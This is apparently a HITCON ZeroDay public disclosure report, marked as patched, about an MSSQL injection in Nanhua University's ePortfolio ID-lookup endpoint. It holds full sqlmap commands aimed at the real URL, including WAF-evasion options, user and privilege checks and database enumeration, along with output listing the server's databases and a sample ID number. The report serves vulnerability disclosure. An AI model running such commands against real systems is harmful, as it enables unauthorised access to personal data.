南華大學 MSSQL注入漏洞 - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2026-01026
  •  發信 Vendor: 南華大學
  • Title: 南華大學 MSSQL注入漏洞
  • Introduction: MSSQL注入漏洞

處理狀態

目前狀態

公開
Last Update : 2026/09/25
  • 新提交
  • 已審核
  • 已通報
  • 已修補
  • 未複測
  • 公開

處理歷程

  • 2026/08/14 16:35:07 : 新提交 (由 桃園怪人協會幹部之一 更新此狀態)
  • 2026/08/14 17:15:41 : 新提交 (由 桃園怪人協會幹部之一 更新此狀態)
  • 2026/08/18 17:21:14 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/08/31 16:21:17 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/08/31 16:21:17 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/08/31 16:21:17 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/09/17 15:06:28 : 已修補 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/09/25 03:00:17 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

參考資料

攻擊者可利用該漏洞取得後端資料庫權限及完整資料(包含大量使用者個資或敏感性資料),同時也有機會對資料進行破壞或修改。

漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection

漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection

漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html

防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

https://necis.nhu.edu.tw/EPortfolioSystem//EnrollStd/GetIDInfo
https://necis.nhu.edu.tw/

敘述

MSSQL 待回報
sqlmap -u "https://necis.nhu.edu.tw/EPortfolioSystem//EnrollStd/GetIDInfo" \
--data "ID_Number=A197150887" \
-p "ID_Number" \
--header "Accept: application/json, text/javascript, /; q=0.01" \
--header "Accept-Language: zh-TW,zh;q=0.9,en-US;q=0.8,en;q=0.7,ja;q=0.6" \
--header "Cache-Control: no-cache" \
--header "Content-Type: application/x-www-form-urlencoded; charset=UTF-8" \
--header "Pragma: no-cache" \
--header "X-Requested-With: XMLHttpRequest" \
--header "Referer: https://necis.nhu.edu.tw/EPortfolioSystem//EnrollStd/QueryStd" \
--header "Sec-Ch-Ua: \"Not;A=Brand\";v=\"8\", \"Chromium\";v=\"150\", \"Google Chrome\";v=\"150\"" \
--header "Sec-Ch-Ua-Mobile: ?0" \
--header "Sec-Ch-Ua-Platform: \"Windows\"" \
--header "Sec-Fetch-Dest: empty" \
--header "Sec-Fetch-Mode: cors" \
--header "Sec-Fetch-Site: same-origin" \
--method POST \
--batch \
--level 3 \
--risk 2 \
--random-agent \
--threads 5 \
--tamper space2comment \
--skip-waf \
--hex
查身分 身分=WebNhu
sqlmap -u "https://necis.nhu.edu.tw/EPortfolioSystem//EnrollStd/GetIDInfo" \
--data "ID_Number=A197150887" \
-p "ID_Number" \
--dbms=mssql \
--current-user \
--batch
查權限 非DBA
sqlmap -u "https://necis.nhu.edu.tw/EPortfolioSystem//EnrollStd/GetIDInfo" \
--data "ID_Number=A197150887" \
-p "ID_Number" \
--dbms=mssql \
--is-dba \
--batch

4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) AND 'vzfx'='vzfx

[16:30:29] [INFO] testing Microsoft SQL Server
[16:30:29] [INFO] confirming Microsoft SQL Server
[16:30:29] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 11 or 2022 or 2016 or 10 or 2019
web application technology: Microsoft IIS 10.0, ASP.NET
back-end DBMS: Microsoft SQL Server 2016
[16:30:29] [INFO] testing if current user is DBA
[16:30:29] [WARNING] reflective value(s) found and filtering out
current user is DBA: False
[16:30:29] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 3 times
[16:30:29] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/necis.nhu.edu.tw'

[*] ending @ 16:30:29 /2026-08-14/

查表名
sqlmap -u "https://necis.nhu.edu.tw/EPortfolioSystem//EnrollStd/GetIDInfo" \
--data "ID_Number=A197150887" \
-p "ID_Number" \
--dbms=mssql \
--dbs \
--batch
available databases [25]:
[] Academic
[
] AccBudget
[] AccGL
[
] CollegeEntrance
[] EproDB
[
] General
[] ITCapability
[
] master
[] model
[
] msdb
[] NhuExam
[
] NhuWeb
[] Personnel
[
] PersonnelDataCollection
[] PIMS
[
] PurchaseCheck
[] Radpub
[
] RoomingHouse
[] Scholarship
[
] SchoolInfo
[] Staffair
[
] Tax
[] tempdb
[
] UnionSchool
[*] YiTuition

注入點非常敏感 是用於查詢身分證學號 帳號的 地方
可能外洩了個資

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。
;